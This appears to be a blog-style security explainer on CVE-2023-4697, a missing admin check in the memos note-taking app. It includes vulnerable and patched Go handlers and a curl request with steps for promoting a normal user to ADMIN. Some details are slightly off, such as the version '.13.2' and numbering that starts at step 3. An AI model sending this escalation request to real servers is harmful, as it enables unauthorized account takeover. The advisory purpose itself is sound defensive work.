In 2023, a significant security flaw was found in usememos/memos, an open-source, self-hosted note-taking app. This vulnerability, tracked as CVE-2023-4697, is all about *Improper Privilege Management*. If you’re maintaining or using memos versions prior to .13.2, this post will break down the issue, how it works, and what you can do about it—using simple, clear language and code examples.
CVE ID: CVE-2023-4697
- Affected package: usememos/memos (before v.13.2)
What’s the Risk?
The bug lets a normal user carry out actions reserved for admins. Think about it like this: you have a note-taking service at your company, log in as a regular user, and—without hacking into the server—you suddenly gain the ability to promote yourself or poke into other people’s accounts. Yikes.
Security Advisory
- Official Security Advisory: GHSA-qvgp-8538-23c5
- Commit fixing the issue: 0732ee2
Root Cause
The issue is due to a logic flaw in the backend API that fails to verify user’s permissions consistently before allowing privilege-changing requests, like making another user an admin or performing sensitive settings changes.
Vulnerable Code Example
Before v.13.2, the endpoint to update user roles did not check if *the requester* is truly an admin.
// Handlers/user.go
func UpdateUserRole(ctx *Context) error {
userID := ctx.Param("id")
var payload struct {
Role string json:"role"
}
if err := ctx.BindJSON(&payload); err != nil {
return err
}
// ❌ Vulnerable: No check on current user's permissions!
return store.UpdateUserRole(userID, payload.Role)
}
So, if you know how to hit the right endpoint, you can just send a request and change your own (or anyone's) role!
In v.13.2+, additional checks were added to ensure only admins can change roles
func UpdateUserRole(ctx *Context) error {
// First, get the info of the requester
currentUser := ctx.MustGet("currentUser").(*User)
if !currentUser.IsAdmin {
return errors.New("Forbidden")
}
userID := ctx.Param("id")
...
return store.UpdateUserRole(userID, payload.Role)
}
Now, if a non-admin tries to call this API—they get blocked.
Let’s see how someone could have exploited this with curl (or Postman)
# Log in as a normal user, then grab your auth token/cookie.
curl -X POST https://your-memos-site.com/api/user/2/role \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"role":"ADMIN"}'
In vulnerable versions, this upgrades user 2 (could be yourself!) to admin, without any admin password or authorization. Now you’ve got the keys to the kingdom.
Find out your user ID (usually by looking at API responses or the user list).
3. Send a POST request to the /api/user/{yourUserID}/role endpoint with JSON body: {"role":"ADMIN"}.
Evidence and References
- NVD CVE Page
- GitHub Advisory
- Commit that fixed it
Final Thoughts
This bug shows just how risky web app privilege logic flaws can be. If you maintain open-source tools, always double-check that every admin-like action is gated by solid permission checks. If you’re running memos, double-check your version and update ASAP.
More Reading
- Best practices for API security (OWASP)
- Official memos GitHub repository
*If you found this exclusive guide helpful, please share it and help spread security awareness!*
Timeline
Published on: 09/01/2023 01:15:00 UTC
Last modified on: 09/01/2023 13:07:00 UTC